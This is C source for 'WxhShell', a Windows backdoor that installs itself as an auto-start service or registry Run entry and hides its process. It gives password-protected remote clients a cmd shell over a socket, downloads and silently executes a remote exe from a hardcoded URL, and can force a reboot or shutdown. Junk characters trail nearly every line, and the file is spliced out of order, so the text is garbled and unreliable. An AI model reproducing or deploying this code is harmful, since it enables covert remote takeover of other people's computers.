    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); , ?WTX  
    if(Boot(SHUTDOWN)) [?r`8K2!,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =>-:o:Cu{  
    else { cF_ Y}C  
    closesocket(wsh); X@:pys 8@  
    ExitThread(0); iIA5ylf{E  
    } UpL?6)  
    break;  Aa[p7{e  
    } ),v[.9!}:  
  // 获取shell }o0R`15dA  
  case 's': { hC4##pAa  
    CmdShell(wsh); q+.DZ @  
    closesocket(wsh); u7ZSs-LuHw  
    ExitThread(0); JOS,>;;F4  
    break; 8G; t[9  
  } \\AufAkJ  
  // 退出 /)ps_gM  
  case 'x': { fWhwI+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -'QvUHL|  
    CloseIt(wsh); 75v 5/5zRn  
    break;  Iz*'  
    } bccJVwXv  
  // 离开 UX}ZE.cV  
  case 'q': { P95U{   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R$X1Q/#md  
    closesocket(wsh); k"Y9Kc0XoU  
    WSACleanup(); >p [|U`>{  
    exit(1); 2~Z P[wr  
    break; 4G"T{A`O  
        } 89*CoQ  
  } wkOo8@J\  
  } [tGAo/  
/k qW  
  // 提示信息 Ox7v*[x'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WF,<7mx=-  
} (Gr8JpV  
  } `[3Iz$K=  
w vBx]$SC  
  return; secD ` ]  
} bO]^TRaiJ  
Y f:xM>.%  
// shell模块句柄 kW0|\  
int CmdShell(SOCKET sock) 23?\jw3w  
{ eQ`TW'[9_6  
STARTUPINFO si; fgIzT!fyz  
ZeroMemory(&si,sizeof(si)); ((&_m9a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Nd'+s>d0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <^q4^Q[  
PROCESS_INFORMATION ProcessInfo; E/2kX3}  
char cmdline[]="cmd"; 4Xt.}S!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Fka&\9i  
  return 0; (7^5jo[D  
} Ss6mN;&D  
d2`m0U  
// 自身启动模式 t0h @i`  
int StartFromService(void) <wWZ]P 2]  
{ dZcRLLR  
typedef struct mR U-M|  
{ l/0"'o_0v#  
  DWORD ExitStatus; 2 Z K:S+c  
  DWORD PebBaseAddress; @yiAi:v@  
  DWORD AffinityMask; X3&-kU  
  DWORD BasePriority; eH,r%r,  
  ULONG UniqueProcessId; jkCa2!WQ'i  
  ULONG InheritedFromUniqueProcessId; !iUFD*~r~  
}   PROCESS_BASIC_INFORMATION; {R<0 'JU  
2L"$p?  
PROCNTQSIP NtQueryInformationProcess; &XAG| #  
0?OTa<c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "P.H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >xrO W`p ]  
8CCd6)cG  
  HANDLE             hProcess; dd1CuOd6(1  
  PROCESS_BASIC_INFORMATION pbi; eGcc'LBr;  
0'8_:|5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c6/+Ye =h  
  if(NULL == hInst ) return 0; cV^r_E\m  
&/QdG= r+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q"BM*:W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IIrh|>d_7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .m%/JquMFM  
(Z(O7X(/  
  if (!NtQueryInformationProcess) return 0; r:pS[f|4\  
tg =ClZ-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S:!gj2q9|  
  if(!hProcess) return 0; tuH8!.  
@CGci lS=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `;KU^dH  
6zv-nMZc  
  CloseHandle(hProcess); |,!]]YO.V  
R>Q&Ax  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =AEl:SY+  
if(hProcess==NULL) return 0; t6-He~  
obA}SF  
HMODULE hMod; D1w;cV7/d  
char procName[255]; } U <T>0  
unsigned long cbNeeded; BG ] w2=  
Dxp8^VL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f3_-{<FZ  
%#5\^4$z|N  
  CloseHandle(hProcess); (4:&tm/;  
7oUecyoj  
if(strstr(procName,"services")) return 1; // 以服务启动 4}0DEH.Vx  
bEO\oS  
  return 0; // 注册表启动 Ek'~i  
} bogw/)1  
KmF" Ccc  
// 主模块 q{4W@Um-  
int StartWxhshell(LPSTR lpCmdLine) War<a#0  
{ `Wc"Ix0  
  SOCKET wsl; </xz V<Pi  
BOOL val=TRUE; M$Sq3m`{!  
  int port=0; GjVq"S  
  struct sockaddr_in door; {tS^Q*F  
FKYPkFB  
  if(wscfg.ws_autoins) Install(); !4;A"B(  
d7, ZpHt  
port=atoi(lpCmdLine); ^a>3U l{  
R'Gka1v  
if(port<=0) port=wscfg.ws_port; +#* F"k(  
FYwMmb ~3  
  WSADATA data; _xKuEU}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h=?V)WSM  
6_UCRo5h%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pFB^l|\ ]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Rs$fNW@P  
  door.sin_family = AF_INET; dUt$kB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); , )&ansN  
  door.sin_port = htons(port); WFr;z*  
X667*L^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J#1-Le8@  
closesocket(wsl); B=ckRW q  
return 1; ajM3Uwnr  
} 4*`AYx(  
&*Sgyk o`  
  if(listen(wsl,2) == INVALID_SOCKET) { egXHp<bqw  
closesocket(wsl); ^l,(~03_  
return 1; i}tBB~]  
} 9N+3S2sBx&  
  Wxhshell(wsl); YLX LaC[  
  WSACleanup(); xX !`0T7Y  
Ym% $!#  
return 0;  v|K,  
Q1 t-Z; X  
} )a7nr<)aU  
s'7PHP)LOJ  
// 以NT服务方式启动 I ~U1vtgp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :CeK 'A\  
{ K'6NW:zp~  
DWORD   status = 0; xmM!SY>  
  DWORD   specificError = 0xfffffff; ^y,Ex;6o  
~vbyX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f]_{4Olk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?DGe}?pX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -n:~m p  
  serviceStatus.dwWin32ExitCode     = 0; `i2:@?Kl9  
  serviceStatus.dwServiceSpecificExitCode = 0; Y:?cWO  
  serviceStatus.dwCheckPoint       = 0; _\2Ae\&c  
  serviceStatus.dwWaitHint       = 0; @%^JB  
?lPn{oB9"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n%S%a >IQj  
  if (hServiceStatusHandle==0) return; > eC>sTPQ{  
sBq-"YcjR  
status = GetLastError(); 4\_~B{kzZ  
  if (status!=NO_ERROR) Vr ^UEu.w?  
{ ufF>I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %&5PZmnW  
    serviceStatus.dwCheckPoint       = 0; 1PN!1=F}  
    serviceStatus.dwWaitHint       = 0; w-j^jU><3  
    serviceStatus.dwWin32ExitCode     = status; 0X<U.Sxn  
    serviceStatus.dwServiceSpecificExitCode = specificError; c:[8ng 2v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  5(\H:g\z  
    return; {aVRvZH4  
  } '% if< /  
'8"nXuL-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L%`MoTpK q  
  serviceStatus.dwCheckPoint       = 0; FKH_o  
  serviceStatus.dwWaitHint       = 0; rJM/.;Ag  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %Q080Ltet  
} \zT{zO&!  
<\'aUfF v  
// 处理NT服务事件,比如:启动、停止 5-RA<d#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P!yOA_)as  
{ | 9 <+!t\  
switch(fdwControl) 2PC:F9dh\  
{ g7;OZ#\  
case SERVICE_CONTROL_STOP: 8Q(A1U  
  serviceStatus.dwWin32ExitCode = 0; ;)ku SH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Pr_DMu  
  serviceStatus.dwCheckPoint   = 0; eyzXHS*s;L  
  serviceStatus.dwWaitHint     = 0; re x MS  
  { U1)!X@F{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D=jtXQF  
  } <dKHZ4  
  return; ]p@q.P  
case SERVICE_CONTROL_PAUSE: 6W/uoH=;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %D49A-R  
  break; M#.dF{ %%  
case SERVICE_CONTROL_CONTINUE: J(Fk@{!F.*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bcYGkvGbO  
  break; .3CQFbHF  
case SERVICE_CONTROL_INTERROGATE: Sw.Kl 0M  
  break; m^o?{ (K  
}; 1l s8h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pHzl/b8  
} T`2a)  
Hbl&)!I  
// 标准应用程序主函数 "9#hk3*GqX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8I7JsCj  
{ m>^vr7  
Rxq4Diq5k  
// 获取操作系统版本 ZfibHivz  
OsIsNt=GetOsVer(); ujLje:Yc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zgl$ n  
b(~#CHg  
  // 从命令行安装 s{:Thgv,9  
  if(strpbrk(lpCmdLine,"iI")) Install(); -U{!'e8YiN  
Jow{7@FG  
  // 下载执行文件 d~KTUgH'<  
if(wscfg.ws_downexe) { F8&L'@m9>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r2\ }_pIj  
  WinExec(wscfg.ws_filenam,SW_HIDE); cv_t2m  
} e> Dux  
gNC'kCx0c  
if(!OsIsNt) {  ;!j/t3#a  
// 如果时win9x,隐藏进程并且设置为注册表启动 {S`Rr/E|%  
HideProc(); 8:U0M'}u>  
StartWxhshell(lpCmdLine); y]g5S-G  
} %ed TW[C`  
else k)zBw(wr  
  if(StartFromService()) `_x#`%!#2  
  // 以服务方式启动 k- exqM2x=  
  StartServiceCtrlDispatcher(DispatchTable); C'PHbo:  
else b?/Su<q  
  // 普通方式启动 v}=pxWhm  
  StartWxhshell(lpCmdLine); BkB9u&s^  
:BF WX  
return 0; f\;f&GI  
} A:\_ \B%<  
[$M l;K  
C't%e  
gX(8V*os^  
=========================================== -|P7e  
Ch]q:o4  
Uv(}x 7e)  
GuF-HP}xM  
2<*Yq 8  
lUiO|  
" m/WDJ$d  
Q'[~$~&`  
#include <stdio.h> '.e 5Ku  
#include <string.h> PPh1y;D  
#include <windows.h> Xy9'JVV6  
#include <winsock2.h> \5b<!Nl  
#include <winsvc.h> Q;@w\_ OR  
#include <urlmon.h> 2|`~3B)#  
]0pI6"  
#pragma comment (lib, "Ws2_32.lib") )5TX3#=;(G  
#pragma comment (lib, "urlmon.lib") :~p_(rE  
BT(G9 Pj;  
#define MAX_USER   100 // 最大客户端连接数 Xm6M s<z6  
#define BUF_SOCK   200 // sock buffer ZRUAw,T*  
#define KEY_BUFF   255 // 输入 buffer #Z]<E6<=9  
4-\4G"4  
#define REBOOT     0   // 重启 Si|8xq$E;  
#define SHUTDOWN   1   // 关机 ! &V,+}>)  
M<@9di7c  
#define DEF_PORT   5000 // 监听端口 !)c0  
lb]k"L%KU7  
#define REG_LEN     16   // 注册表键长度 ^1ks`1  
#define SVC_LEN     80   // NT服务名长度 *}LQZFrnX  
=OR&,xt  
// 从dll定义API ;e~K<vMm;y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %;`3I$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dTVM !=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n4 Y ]v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lqKwjJ tX  
cr{dl\ Na  
// wxhshell配置信息 tI2p-d9B  
struct WSCFG { sk. rJ  
  int ws_port;         // 监听端口 Q1 vse  
  char ws_passstr[REG_LEN]; // 口令 SHC VjI6  
  int ws_autoins;       // 安装标记, 1=yes 0=no \g|;7&%l3  
  char ws_regname[REG_LEN]; // 注册表键名 vaZ?>94  
  char ws_svcname[REG_LEN]; // 服务名 ,0$b8lb;x/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A3zNUad;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tWdP5vfp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tQ4{:WPG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3lNw*M|")  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Os1y8ui  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {XYf"ONi  
!?)iP  
}; t{/ EN)J  
J15$P8J  
// default Wxhshell configuration F^');8~L  
struct WSCFG wscfg={DEF_PORT, "?sLi  
    "xuhuanlingzhe", R7By=Y!t  
    1, jdVdz,Y  
    "Wxhshell", 4U:+iumy2  
    "Wxhshell", &nZ.$UK<  
            "WxhShell Service", )^'wcBod,  
    "Wrsky Windows CmdShell Service", z9KsSlS ^  
    "Please Input Your Password: ", k4nA+k<WI`  
  1, VAR/"  
  "http://www.wrsky.com/wxhshell.exe", @KYmkx W  
  "Wxhshell.exe" <kor;exeJ  
    }; {EupB?  
~9ILN~91  
// 消息定义模块 RwwX;I"o%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LvS3c9|Aj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Jh:-<xy)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !PrO~  
char *msg_ws_ext="\n\rExit."; `24:Eg6r  
char *msg_ws_end="\n\rQuit."; ( ]o6Pi  
char *msg_ws_boot="\n\rReboot..."; cjO,#W0&f  
char *msg_ws_poff="\n\rShutdown..."; `+/[0B=.  
char *msg_ws_down="\n\rSave to "; VVje|T^{Z  
,@ Cru=  
char *msg_ws_err="\n\rErr!"; ]QU52R@M  
char *msg_ws_ok="\n\rOK!"; Cj):g,[a  
!ZV#~t:)  
char ExeFile[MAX_PATH]; Qi7^z;  
int nUser = 0; jW",'1h<n  
HANDLE handles[MAX_USER]; 9Au+mIN  
int OsIsNt; XT_BiZ%l5O  
?-'Q-\j  
SERVICE_STATUS       serviceStatus; ig/716r|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 49Ue2=PP#  
"WYcw\@U  
// 函数声明  )Bk?"q  
int Install(void); .]H]H*wC  
int Uninstall(void); S8vmXlD  
int DownloadFile(char *sURL, SOCKET wsh); Nmsb  
int Boot(int flag); ^! ZjK-$A<  
void HideProc(void); L{fP_DIa  
int GetOsVer(void); |2 wff?  
int Wxhshell(SOCKET wsl); Da-(D<[0  
void TalkWithClient(void *cs); ::T<de7  
int CmdShell(SOCKET sock); d8RpL{9\7  
int StartFromService(void); v V^GIWK  
int StartWxhshell(LPSTR lpCmdLine); (Fgt#H(B  
r IK|}5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sqZHk+<%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $=m17GD  
5!ReW39c ;  
// 数据结构和表定义 :M[E-j;  
SERVICE_TABLE_ENTRY DispatchTable[] = x(7K3(#|  
{ G[>-@9_b  
{wscfg.ws_svcname, NTServiceMain}, B?%D   
{NULL, NULL} D[#\Y+N  
}; (kuZS4Af  
n ~3c<{coZ  
// 自我安装  B-gr2-  
int Install(void) S~Hj. d4/  
{ GyPN)!X@.&  
  char svExeFile[MAX_PATH]; Rt:PW}rFf  
  HKEY key; 99:L#0!.W  
  strcpy(svExeFile,ExeFile); e#OU {2X  
G<dXJ ]\\  
// 如果是win9x系统,修改注册表设为自启动 86I*  
if(!OsIsNt) { YWZF*,4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _INUJc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r#}Sy \  
  RegCloseKey(key); z*[Z:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cp* n2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /(0d{  
  RegCloseKey(key); fIcv}Y  
  return 0; zLn#p]  
    } 5nn*)vK {  
  } o_N02l4J)  
} } R/  
else { f\^QV  
gPi_+-@  
// 如果是NT以上系统,安装为系统服务 IyuT=A~Ki  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m#eD v*  
if (schSCManager!=0) *j* WE\  
{ #?=cg]v_  
  SC_HANDLE schService = CreateService Jr9}'l8  
  ( {LeEnh-  
  schSCManager, ]O\W<'+V  
  wscfg.ws_svcname, o|W? a#_\  
  wscfg.ws_svcdisp, y b G)=0  
  SERVICE_ALL_ACCESS, 'x0t, ;g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >D;hT*3  
  SERVICE_AUTO_START, W Q&<QVK  
  SERVICE_ERROR_NORMAL, 7GUJ&U) J  
  svExeFile, N [u Xo  
  NULL, 0R]CI  
  NULL, 8( D}y\  
  NULL, .'1j5Y-l`N  
  NULL, z>:7}=H0  
  NULL K5lp -F  
  ); {\&"I|dpe  
  if (schService!=0) hrD6r=JT<~  
  { !q/lgpEi  
  CloseServiceHandle(schService); M::iU_  
  CloseServiceHandle(schSCManager); [VW;L l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hI8C XG  
  strcat(svExeFile,wscfg.ws_svcname); d/>,U7eS[+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +CT$/k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U;GoC$b}|  
  RegCloseKey(key); jZ!JXmVV  
  return 0; R6XMBYK^  
    } tl5IwrF6;  
  } e;5Lv9?C8  
  CloseServiceHandle(schSCManager); ([-=NT}Aq  
} *"\Q ~#W  
} 0gD0}nH  
d 6EY'*0  
return 1; Bedjw =B  
} k#JG  
}Xi#x*-D  
// 自我卸载 jSYg\ Z5!  
int Uninstall(void) *h:EE6|  
{ 1>VS/H`  
  HKEY key; 'kvFU_)  
y UAn~!s  
if(!OsIsNt) { }>~>5jc/Pg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5]l7Z35  
  RegDeleteValue(key,wscfg.ws_regname); O)uM&B=  
  RegCloseKey(key); jYX9; C;J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `;CU[Ps?]  
  RegDeleteValue(key,wscfg.ws_regname); y9li<u<PF  
  RegCloseKey(key); XFTMT'9  
  return 0; _-J@$d%  
  } Gc!8v}[7J  
} BQ&q<6Tk  
} KR(} A"  
else { bxSKe6l  
7&1~O#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5MY}(w  
if (schSCManager!=0) l\;mP.!  
{ 8]":[s6x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0"psKf'  
  if (schService!=0) RIEv*2_O  
  { |p -R9A*>h  
  if(DeleteService(schService)!=0) { J%:/<uCmZ  
  CloseServiceHandle(schService); ^;$a_$ |  
  CloseServiceHandle(schSCManager); $>ZP%~O  
  return 0; 9m !!b{  
  } C'czXZtn  
  CloseServiceHandle(schService); C!{AnWf  
  } 5f'g 3'  
  CloseServiceHandle(schSCManager); (}1v^~FXj  
} NTXL>Q*e  
} )YMlF zYr  
$l,Zd6<1q  
return 1; O| J`~Lk  
} Lp`<L-s  
Cz@FZb8  
// 从指定url下载文件 :~3{oZGX&  
int DownloadFile(char *sURL, SOCKET wsh) )s<WG}  
{ 3V Mh)  
  HRESULT hr; =ym  
char seps[]= "/"; L> Oy7w)Y  
char *token; XMEK5Z9Dd  
char *file; Cld<D5\|f+  
char myURL[MAX_PATH]; sh(kRrdY3  
char myFILE[MAX_PATH]; }u-S j/K  
D<bU~Gd,P  
strcpy(myURL,sURL); Z-t}6c'Kg  
  token=strtok(myURL,seps); nl'J.dJe  
  while(token!=NULL) Vv]$\`d#  
  { WiNr866nB  
    file=token; m c\ C  
  token=strtok(NULL,seps); #K#Mv /  
  } ] `B,L*m6  
S*CLt  
GetCurrentDirectory(MAX_PATH,myFILE); WHgV_o 8  
strcat(myFILE, "\\"); }*.:Hv"  
strcat(myFILE, file); nEd M_JPv  
  send(wsh,myFILE,strlen(myFILE),0); Qb?y@>-[  
send(wsh,"...",3,0); kQwm"Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0Q$~k  
  if(hr==S_OK) p fL2v,]g  
return 0; b ~/Wnp5  
else mX@j  
return 1; 3V/_I<y  
&gWMl`3^*!  
} 8lOZ IbwS  
$v:gBlj%"  
// 系统电源模块 ?-8y4 Ex  
int Boot(int flag) Sf'i{xye  
{ t&R!5^R  
  HANDLE hToken;  /[Bl  
  TOKEN_PRIVILEGES tkp; p;qRm} 0}  
U~{Sa+  
  if(OsIsNt) { [xtK"E#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); { r6]MS#l1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yX7CN5vVl  
    tkp.PrivilegeCount = 1; e{fZ}`=7y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5ys #L&q'Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N 8:"&WM  
if(flag==REBOOT) { *|];f#^9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'bB>$E  
  return 0; YKP=0 j3,  
} S9G8aea/  
else { j`2B}@2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @A [)hk&(R  
  return 0; <#xrrRhm}  
} 20rN,@2<  
  } Zk]k1]u*5  
  else { a3O nW\N  
if(flag==REBOOT) { m !#_CQ:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cs K>iN  
  return 0; Z$!C=  
} OM20-KDc5  
else { ,^.S0;D,Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !Z U_,[  
  return 0; #"Fg%36Zd  
} _qY`KP "  
} 4id3P{aU  
H9%l?r5  
return 1; T@(6hEmP,  
} J3H.%m!V  
;c>>$lr  
// win9x进程隐藏模块 7^ B3lC)  
void HideProc(void) i[^k.W3gf  
{ 5Xwk*@t2a  
qPsyqn?Y|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "w*@R8v  
  if ( hKernel != NULL )  LsQs:O  
  { 7 ,$axvLw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {hxW,mmA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -"F0eV+y  
    FreeLibrary(hKernel); S\B5&W  
  } Lb!r(o>8Cb  
e@[9C(5E"  
return; "VV914*z  
} xC)7eQn/R  
h=hoV5d@  
// 获取操作系统版本 >P(eW7RL  
int GetOsVer(void) wOjv[@d  
{ }W1^t  
  OSVERSIONINFO winfo; {U(Bfe^a,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yHl@_rN sC  
  GetVersionEx(&winfo); !{IC[g n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5QR}IxQ  
  return 1; fb /qoZ  
  else =h(7rU"Yz  
  return 0; !2(.$}E  
} O8gfiQqF&  
NzAQ@E 2d:  
// 客户端句柄模块 6!Qknk$  
int Wxhshell(SOCKET wsl) =Qyqfy*@D?  
{ SAP;9*f1\  
  SOCKET wsh; U%L -NMe  
  struct sockaddr_in client; 1c'79YU  
  DWORD myID; +hpSxdAz4  
$>;a 'f~  
  while(nUser<MAX_USER) 3a%xn4P  
{ [1<(VyJ}ye  
  int nSize=sizeof(client); Ex 6o=D2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GN0duV  
  if(wsh==INVALID_SOCKET) return 1; ,pn ) >  
^dh=M5xz)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )R~a;?T_c0  
if(handles[nUser]==0) rxs8De  
  closesocket(wsh); uw_H:-J  
else jSB'>m]  
  nUser++; \Y9I~8\ gB  
  } |IAW{_9)U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t|.Ft<c#  
_1P`]+K\D$  
  return 0; o,J^ e_  
} 0F1u W>D1  
b9y)wBC%`  
// 关闭 socket c88_}%h?(  
void CloseIt(SOCKET wsh) Jns/v6  
{ |<1M&\oaQ'  
closesocket(wsh); of=ql  
nUser--; X>}@EHT  
ExitThread(0); l/M[am  
} hl**zF  
[-Cu4mff  
// 客户端请求句柄 ac|/Y$\w  
void TalkWithClient(void *cs) 4b=Gg  
{ 2Q}7fht  
L $SMfx  
  SOCKET wsh=(SOCKET)cs; ^@K WYAAW5  
  char pwd[SVC_LEN]; "ct58Y@   
  char cmd[KEY_BUFF]; <}cZi4l'  
char chr[1]; -8/JP  
int i,j; 5~QT g  
S_$nCyaH2  
  while (nUser < MAX_USER) { >%l:Dw\A:  
9ZhDZ~)p,  
if(wscfg.ws_passstr) { /~tP7<7A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [<Q4U{F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6P^hN%0  
  //ZeroMemory(pwd,KEY_BUFF); \qB6TiB/  
      i=0; .'&V#D0  
  while(i<SVC_LEN) { AJdp6@O +  
me:iQ.g  
  // 设置超时 G%$}WA]|  
  fd_set FdRead; WI{; #A  
  struct timeval TimeOut; [Teh*CV  
  FD_ZERO(&FdRead); >9MS" t  
  FD_SET(wsh,&FdRead); >x*)GPDa  
  TimeOut.tv_sec=8; 50 *@.!^*  
  TimeOut.tv_usec=0; a MsJO*;>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yuv4*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uRpBeH]Z"  
l|7O)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o[oqPN3$Y  
  pwd=chr[0]; sjn:O'  
  if(chr[0]==0xd || chr[0]==0xa) { ?9Ma^C;}  
  pwd=0; vzG ABP  
  break; ly=a>}F_  
  } /=@e &e  
  i++; MOeoU1Hn  
    } {!r#f(?uT  
Se Oy7  
  // 如果是非法用户,关闭 socket iu|v9+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [4: Yi{>  
} "[.ne)/MC  
d#8e~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O+b6lg)q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lC4PKm no  
:X Lp  
while(1) { {mf.!Xev  
O J>iq@ >  
  ZeroMemory(cmd,KEY_BUFF); 1yS&~ y?a  
Sc{Tq\t;%  
      // 自动支持客户端 telnet标准   h7*O.Opm=  
  j=0; "&<~UiI  
  while(j<KEY_BUFF) { x0ne8NDP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h$/JGm5uDb  
  cmd[j]=chr[0]; USFg_sO  
  if(chr[0]==0xa || chr[0]==0xd) { @ZG>mP1Vo  
  cmd[j]=0; c=aO5(i0  
  break; t\%%d)d9  
  } [T]Bfo  
  j++; ?Sw /(}|m  
    } O2lIlCL  
.1{l[[= W  
  // 下载文件 vpV$$=Qwp  
  if(strstr(cmd,"http://")) { zi.mq&,]R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  P63 (^R  
  if(DownloadFile(cmd,wsh)) E-F5y  
